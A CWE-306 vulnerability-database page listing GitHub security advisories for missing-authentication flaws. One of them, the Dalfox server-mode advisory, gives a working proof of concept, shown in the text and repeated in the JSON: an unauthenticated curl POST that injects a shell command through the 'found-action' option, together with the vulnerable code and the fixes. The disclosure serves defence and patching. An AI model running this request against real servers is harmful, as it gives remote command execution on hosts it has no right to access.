Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3453 vulnerabilities reference this CWE, most recent first.

GHSA-RX8Q-GRJM-X4P7

Vulnerability from github – Published: 2023-11-14 12:30 – Updated: 2023-11-14 12:30
VLAI
Details

A vulnerability has been identified in SIMATIC PCS neo (All versions < V4.1). The PUD Manager of affected products does not properly authenticate users in the PUD Manager web service. This could allow an unauthenticated adjacent attacker to generate a privileged token and upload additional documents.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46096"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T11:15:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SIMATIC PCS neo (All versions \u003c V4.1). The PUD Manager of affected products does not properly authenticate users in the PUD Manager web service. This could allow an unauthenticated adjacent attacker to generate a privileged token and upload additional documents.",
  "id": "GHSA-rx8q-grjm-x4p7",
  "modified": "2023-11-14T12:30:27Z",
  "published": "2023-11-14T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46096"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-456933.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V25V-M36W-JP4H

Vulnerability from github – Published: 2026-05-12 15:07 – Updated: 2026-06-08 23:50
VLAI
Summary
Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`
Details

GHSA: Unauthenticated Remote Code Execution via found-action in Dalfox Server Mode

Summary

When dalfox is started in REST API server mode (dalfox server), the server binds to 0.0.0.0:6664 by default and requires no API key unless the operator explicitly passes --api-key. Because model.Options — including FoundAction and FoundActionShell — is deserialized directly from attacker-supplied JSON in POST /scan, and because dalfox.Initialize explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.

Severity

Critical (CVSS 3.1: 10.0)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network — the server binds to 0.0.0.0 by default; reachable by any network peer.
  • Attack Complexity: Low — the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.
  • Privileges Required: None — no API key is enforced in the default configuration.
  • User Interaction: None.
  • Scope: Changed — exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.
  • Confidentiality Impact: High — full read access to the host filesystem and secrets in the process environment.
  • Integrity Impact: High — arbitrary file writes, code deployment, persistence mechanisms.
  • Availability Impact: High — process kill, resource exhaustion, service disruption.

Affected Component

  • cmd/server.goinit() (line 51): --api-key defaults to ""
  • pkg/server/server.gosetupEchoServer() (line 68): auth middleware only registered when APIKey != ""
  • pkg/server/server.gopostScanHandler() (lines 173–191): rq.Options passed to ScanFromAPI without sanitization
  • lib/func.goInitialize() (lines 118–119): FoundAction / FoundActionShell explicitly propagated from caller options
  • pkg/scanning/foundaction.gofoundAction() (lines 17–18): exec.Command(options.FoundActionShell, "-c", afterCmd) executed unconditionally

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-15: External Control of System or Configuration Setting

Description

Opt-in Authentication with a Dangerous Default

cmd/server.go registers the --api-key flag with an empty string default:

// cmd/server.go:51
serverCmd.Flags().StringVar(&apiKey, "api-key", "", "Specify the API key for server authentication...")

setupEchoServer only installs the apiKeyAuth middleware when that value is non-empty:

// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
    e.Use(apiKeyAuth(options.APIKey, options))
}

A server started without --api-key accepts every request on every route with no challenge. The apiKeyAuth implementation itself is correct — the flaw is purely in the opt-in condition that makes authentication off by default.

Attacker-Controlled Options Reaches Shell Execution Without Stripping

POST /scan deserializes the full model.Options struct from the JSON body:

// pkg/server/model.go:6-8
type Req struct {
    URL     string        `json:"url"`
    Options model.Options `json:"options"`
}

// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)

model.Options exposes both execution-control fields as JSON-tagged properties:

// pkg/model/options.go:83-84
FoundAction      string `json:"found-action,omitempty"`
FoundActionShell string `json:"found-action-shell,omitempty"`

ScanFromAPI builds the scan target directly from rqOptions and passes it to dalfox.Initialize:

// pkg/server/scan.go:22-27
target := dalfox.Target{
    URL:     url,
    Method:  rqOptions.Method,
    Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)

Initialize explicitly copies both fields into newOptions — there is no stripping path:

// lib/func.go:118-119
"FoundAction":      {&newOptions.FoundAction, options.FoundAction},
"FoundActionShell": {&newOptions.FoundActionShell, options.FoundActionShell},

Shell Execution on Any Finding

foundAction is called from seven locations across pkg/scanning/scanning.go and pkg/scanning/sendReq.go whenever options.FoundAction != "" and any vulnerability is detected. None of these call sites check options.IsAPI:

// pkg/scanning/foundaction.go:12-18
func foundAction(options model.Options, target, query, ptype string) {
    afterCmd := options.FoundAction
    afterCmd = strings.ReplaceAll(afterCmd, "@@query@@", query)
    afterCmd = strings.ReplaceAll(afterCmd, "@@target@@", target)
    afterCmd = strings.ReplaceAll(afterCmd, "@@type@@", ptype)
    cmd := exec.Command(options.FoundActionShell, "-c", afterCmd)
    err := cmd.Run()
    ...
}

Because the attacker supplies both the scan target URL and found-action, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.

Proof of Concept

# Step 1 — Start a reflective XSS target (attacker-controlled)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
        body = f'<html><body>{q}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()
PY

# Step 2 — Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest

# Step 3 — POST unauthenticated scan request with found-action payload
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18081/?q=test",
    "options": {
      "found-action": "echo owned >/tmp/dalfox_rce_marker",
      "found-action-shell": "bash",
      "use-headless": false,
      "worker": 1,
      "limit-result": 1
    }
  }'

# Step 4 — Confirm arbitrary command executed on the dalfox host
cat /tmp/dalfox_rce_marker
# Expected output: owned

No X-API-KEY header is required. The reflective server ensures dalfox finds a vulnerability, which triggers foundAction.

Impact

  • Unauthenticated remote code execution on any host running dalfox server in its default configuration.
  • Full read access to secrets, configuration files, and credentials visible to the dalfox process.
  • Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.
  • Lateral movement using the dalfox host's network position and credentials.
  • The default 0.0.0.0 bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.

Recommended Remediation

Option 1: Require API key — make --api-key mandatory (preferred)

Reject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.

// cmd/server.go — in runServerCmd, before starting the server:
if serverType == "rest" && apiKey == "" {
    fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
    fmt.Fprintln(os.Stderr, "       Generate a key with: openssl rand -hex 32")
    os.Exit(1)
}

Option 2: Strip FoundAction / FoundActionShell from API-sourced requests

Prevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.

// pkg/server/server.go — in postScanHandler, before calling ScanFromAPI:
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""

Both options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.

Credit

Emmanuel David

Github:- https://github.com/drmingler

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hahwul/dalfox/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-306",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:07:59Z",
    "nvd_published_at": "2026-05-27T18:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "# GHSA: Unauthenticated Remote Code Execution via `found-action` in Dalfox Server Mode\n\n## Summary\n\nWhen dalfox is started in REST API server mode (`dalfox server`), the server binds to `0.0.0.0:6664` by default and requires no API key unless the operator explicitly passes `--api-key`. Because `model.Options` \u2014 including `FoundAction` and `FoundActionShell` \u2014 is deserialized directly from attacker-supplied JSON in `POST /scan`, and because `dalfox.Initialize` explicitly propagates those two fields into the final scan options without stripping them, any unauthenticated caller who can reach the server port can supply an arbitrary shell command that the dalfox process will execute on the host whenever a scan finding is triggered.\n\n## Severity\n\n**Critical** (CVSS 3.1: 10.0)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 the server binds to `0.0.0.0` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 the attacker fully controls the scanned URL and can trivially host a one-line reflective server to guarantee a finding is triggered.\n- **Privileges Required:** None \u2014 no API key is enforced in the default configuration.\n- **User Interaction:** None.\n- **Scope:** Changed \u2014 exploitation escapes the dalfox process boundary and executes arbitrary commands on the host OS.\n- **Confidentiality Impact:** High \u2014 full read access to the host filesystem and secrets in the process environment.\n- **Integrity Impact:** High \u2014 arbitrary file writes, code deployment, persistence mechanisms.\n- **Availability Impact:** High \u2014 process kill, resource exhaustion, service disruption.\n\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"`\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (lines 118\u2013119): `FoundAction` / `FoundActionShell` explicitly propagated from caller options\n- `pkg/scanning/foundaction.go` \u2014 `foundAction()` (lines 17\u201318): `exec.Command(options.FoundActionShell, \"-c\", afterCmd)` executed unconditionally\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-78**: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)\n- **CWE-15**: External Control of System or Configuration Setting\n\n## Description\n\n### Opt-in Authentication with a Dangerous Default\n\n`cmd/server.go` registers the `--api-key` flag with an empty string default:\n\n```go\n// cmd/server.go:51\nserverCmd.Flags().StringVar(\u0026apiKey, \"api-key\", \"\", \"Specify the API key for server authentication...\")\n```\n\n`setupEchoServer` only installs the `apiKeyAuth` middleware when that value is non-empty:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n    e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nA server started without `--api-key` accepts every request on every route with no challenge. The `apiKeyAuth` implementation itself is correct \u2014 the flaw is purely in the opt-in condition that makes authentication off by default.\n\n### Attacker-Controlled `Options` Reaches Shell Execution Without Stripping\n\n`POST /scan` deserializes the full `model.Options` struct from the JSON body:\n\n```go\n// pkg/server/model.go:6-8\ntype Req struct {\n    URL     string        `json:\"url\"`\n    Options model.Options `json:\"options\"`\n}\n\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`model.Options` exposes both execution-control fields as JSON-tagged properties:\n\n```go\n// pkg/model/options.go:83-84\nFoundAction      string `json:\"found-action,omitempty\"`\nFoundActionShell string `json:\"found-action-shell,omitempty\"`\n```\n\n`ScanFromAPI` builds the scan target directly from `rqOptions` and passes it to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n    URL:     url,\n    Method:  rqOptions.Method,\n    Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies both fields into `newOptions` \u2014 there is no stripping path:\n\n```go\n// lib/func.go:118-119\n\"FoundAction\":      {\u0026newOptions.FoundAction, options.FoundAction},\n\"FoundActionShell\": {\u0026newOptions.FoundActionShell, options.FoundActionShell},\n```\n\n### Shell Execution on Any Finding\n\n`foundAction` is called from seven locations across `pkg/scanning/scanning.go` and `pkg/scanning/sendReq.go` whenever `options.FoundAction != \"\"` and any vulnerability is detected. None of these call sites check `options.IsAPI`:\n\n```go\n// pkg/scanning/foundaction.go:12-18\nfunc foundAction(options model.Options, target, query, ptype string) {\n    afterCmd := options.FoundAction\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@query@@\", query)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@target@@\", target)\n    afterCmd = strings.ReplaceAll(afterCmd, \"@@type@@\", ptype)\n    cmd := exec.Command(options.FoundActionShell, \"-c\", afterCmd)\n    err := cmd.Run()\n    ...\n}\n```\n\nBecause the attacker supplies both the scan target URL and `found-action`, they trivially guarantee that a finding is produced (by hosting a one-line reflective server) and that the shell command is executed.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Start a reflective XSS target (attacker-controlled)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n        body = f\u0027\u003chtml\u003e\u003cbody\u003e{q}\u003c/body\u003e\u003c/html\u003e\u0027.encode()\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n        self.send_header(\u0027Content-Length\u0027, str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n    def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox in REST server mode (default: 0.0.0.0:6664, no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 POST unauthenticated scan request with found-action payload\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\n    \"url\": \"http://127.0.0.1:18081/?q=test\",\n    \"options\": {\n      \"found-action\": \"echo owned \u003e/tmp/dalfox_rce_marker\",\n      \"found-action-shell\": \"bash\",\n      \"use-headless\": false,\n      \"worker\": 1,\n      \"limit-result\": 1\n    }\n  }\u0027\n\n# Step 4 \u2014 Confirm arbitrary command executed on the dalfox host\ncat /tmp/dalfox_rce_marker\n# Expected output: owned\n```\n\nNo `X-API-KEY` header is required. The reflective server ensures dalfox finds a vulnerability, which triggers `foundAction`.\n\n## Impact\n\n- **Unauthenticated remote code execution** on any host running `dalfox server` in its default configuration.\n- Full read access to secrets, configuration files, and credentials visible to the dalfox process.\n- Arbitrary file writes: persistence, backdoor installation, data exfiltration staging.\n- Lateral movement using the dalfox host\u0027s network position and credentials.\n- The default `0.0.0.0` bind address means exposure to all network interfaces, including public-facing ones in misconfigured cloud environments.\n\n## Recommended Remediation\n\n### Option 1: Require API key \u2014 make `--api-key` mandatory (preferred)\n\nReject server startup when no API key is provided and emit a loud warning. This is the lowest-risk fix because it protects all current and future routes without code changes to the scan path.\n\n```go\n// cmd/server.go \u2014 in runServerCmd, before starting the server:\nif serverType == \"rest\" \u0026\u0026 apiKey == \"\" {\n    fmt.Fprintln(os.Stderr, \"ERROR: --api-key is required when running in REST server mode.\")\n    fmt.Fprintln(os.Stderr, \"       Generate a key with: openssl rand -hex 32\")\n    os.Exit(1)\n}\n```\n\n### Option 2: Strip `FoundAction` / `FoundActionShell` from API-sourced requests\n\nPrevent untrusted callers from setting execution-control options regardless of auth state. This adds defence-in-depth and protects authenticated deployments against credential theft.\n\n```go\n// pkg/server/server.go \u2014 in postScanHandler, before calling ScanFromAPI:\nrq.Options.FoundAction = \"\"\nrq.Options.FoundActionShell = \"\"\n```\n\nBoth options should be applied together. Option 1 prevents unauthenticated access; Option 2 ensures that even authenticated callers (who may be external consumers of the REST API) cannot trigger host-level command execution.\n\n##Credit\n\nEmmanuel David\n\nGithub:- https://github.com/drmingler",
  "id": "GHSA-v25v-m36w-jp4h",
  "modified": "2026-06-08T23:50:00Z",
  "published": "2026-05-12T15:07:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/security/advisories/GHSA-v25v-m36w-jp4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45087"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hahwul/dalfox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hahwul/dalfox/releases/tag/v2.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dalfox Server Mode Vulnerable to Unauthenticated Remote Code Execution via `found-action`"
}

GHSA-V26C-V53C-85V2

Vulnerability from github – Published: 2024-04-15 03:31 – Updated: 2024-04-15 03:31
VLAI
Details

aEnrich Technology a+HRD's functionality for front-end retrieval of system configuration values lacks proper restrictions on a specific parameter, allowing attackers to modify this parameter to access certain sensitive system configuration values.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-15T03:16:08Z",
    "severity": "MODERATE"
  },
  "details": "aEnrich Technology a+HRD\u0027s functionality for front-end retrieval of system configuration values lacks proper restrictions on a specific parameter, allowing attackers to modify this parameter to access certain sensitive system configuration values.",
  "id": "GHSA-v26c-v53c-85v2",
  "modified": "2024-04-15T03:31:00Z",
  "published": "2024-04-15T03:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3774"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7724-c28d3-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2C5-CX8P-42XH

Vulnerability from github – Published: 2022-10-26 19:00 – Updated: 2022-10-28 19:00
VLAI
Details

A vulnerability has been found in SourceCodester Sanitization Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to missing authentication. The attack can be launched remotely. The identifier VDB-212017 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-26T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been found in SourceCodester Sanitization Management System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality. The manipulation leads to missing authentication. The attack can be launched remotely. The identifier VDB-212017 was assigned to this vulnerability.",
  "id": "GHSA-v2c5-cx8p-42xh",
  "modified": "2022-10-28T19:00:33Z",
  "published": "2022-10-26T19:00:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3674"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.212017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2HH-GF42-8PXH

Vulnerability from github – Published: 2024-01-11 00:30 – Updated: 2025-11-04 21:31
VLAI
Details

An authentication issue was addressed with improved state management. This issue is fixed in macOS Sonoma 14. Photos in the Hidden Photos Album may be viewed without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-10T22:15:48Z",
    "severity": "HIGH"
  },
  "details": "An authentication issue was addressed with improved state management. This issue is fixed in macOS Sonoma 14. Photos in the Hidden Photos Album may be viewed without authentication.",
  "id": "GHSA-v2hh-gf42-8pxh",
  "modified": "2025-11-04T21:31:02Z",
  "published": "2024-01-11T00:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40393"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120949"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120950"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213940"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213940"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2R7-FRXX-FMQ5

Vulnerability from github – Published: 2023-02-07 00:30 – Updated: 2023-02-15 18:30
VLAI
Details

Because the web management interface for Unified Intents' Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker's choosing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-06T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Because the web management interface for Unified Intents\u0027 Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker\u0027s choosing.",
  "id": "GHSA-v2r7-frxx-fmq5",
  "modified": "2023-02-15T18:30:20Z",
  "published": "2023-02-07T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rapid7/metasploit-framework/pull/16989"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2VR-C36C-45R4

Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-18 15:30
VLAI
Details

In WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28) due to lack of authentication in the configuration change module in the adm.cgi endpoint, the unauthenticated attacker can execute commands including backup creation, device restart and resetting the device to factory settings.

The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-65007"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T15:15:59Z",
    "severity": "HIGH"
  },
  "details": "In WODESYS WD-R608U router (also known as\u00a0WDR122B V2.0 and WDR28) due to lack of authentication in the configuration change module in the adm.cgi endpoint, the unauthenticated attacker can execute commands including backup creation, device restart and resetting the device to factory settings.\n\nThe vendor was notified early about this vulnerability, but didn\u0027t respond with the details of vulnerability or vulnerable version range. Only version WDR28081123OV1.01 was tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.",
  "id": "GHSA-v2vr-c36c-45r4",
  "modified": "2025-12-18T15:30:45Z",
  "published": "2025-12-18T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65007"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2025/12/CVE-2025-65007"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wcyb/security_research"
    },
    {
      "type": "WEB",
      "url": "http://www.wodesys.com/eproductms52.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V36F-499J-895J

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:13
VLAI
Details

In WESEEK GROWI before 3.5.0, a remote attacker can obtain the password hash of the creator of a page by leveraging wiki access to make API calls for page metadata. In other words, the password hash can be retrieved even though it is not a publicly available field.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-13338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-09T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "In WESEEK GROWI before 3.5.0, a remote attacker can obtain the password hash of the creator of a page by leveraging wiki access to make API calls for page metadata. In other words, the password hash can be retrieved even though it is not a publicly available field.",
  "id": "GHSA-v36f-499j-895j",
  "modified": "2024-04-04T01:13:19Z",
  "published": "2022-05-24T16:49:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13338"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/polkaman/d039fb5236a043907e44efc198d9161c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V38P-XQMG-RFQF

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23
VLAI
Details

The Glen Dimplex Deutschland GmbH implementation of the Carel pCOWeb configuration tool allows remote attackers to obtain access via an HTTP session on port 10000, as demonstrated by reading the modem password (which is 1234), or reconfiguring "party mode" or "vacation mode."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-9484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-01T07:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Glen Dimplex Deutschland GmbH implementation of the Carel pCOWeb configuration tool allows remote attackers to obtain access via an HTTP session on port 10000, as demonstrated by reading the modem password (which is 1234), or reconfiguring \"party mode\" or \"vacation mode.\"",
  "id": "GHSA-v38p-xqmg-rfqf",
  "modified": "2022-05-13T01:23:03Z",
  "published": "2022-05-13T01:23:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9484"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@SergiuSechel/insecure-permissions-in-glen-dimplex-deutschland-gmbh-implementation-of-carel-pcoweb-configuration-ca3896f24835"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V3J7-34XH-6G3W

Vulnerability from github – Published: 2026-03-03 21:50 – Updated: 2026-03-18 21:52
VLAI
Summary
OpenClaw Loopback CDP probe can leak Gateway token to local listener
Details

Summary

A local process can capture the OpenClaw Gateway auth token from Chrome CDP probe traffic on loopback.

Details

Affected versions inject x-openclaw-relay-token for loopback CDP URLs, and CDP reachability probes send that header to /json/version. If an attacker controls the probed loopback port, they can read that token and reuse it as Gateway bearer auth.

Relevant code paths (pre-fix): - src/browser/extension-relay.ts (getChromeExtensionRelayAuthHeaders) - src/browser/cdp.helpers.ts (getHeadersWithAuth) - src/browser/chrome.ts (fetchChromeVersion)

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published (at triage): 2026.2.21-2
  • Vulnerable: <= 2026.2.21-2
  • Patched: >= 2026.2.22

Deployment Model Applicability

This does not change OpenClaw’s documented security model for standard single-owner installs (you own the machine/VPS and trust local processes under that OS account boundary). Risk is for non-standard shared-user/shared-host installs where an untrusted local user/process can race/bind the loopback relay port.

Impact

  • Local credential disclosure.
  • Follow-on impact depends on local deployment and enabled Gateway capabilities.

Fix Commit(s)

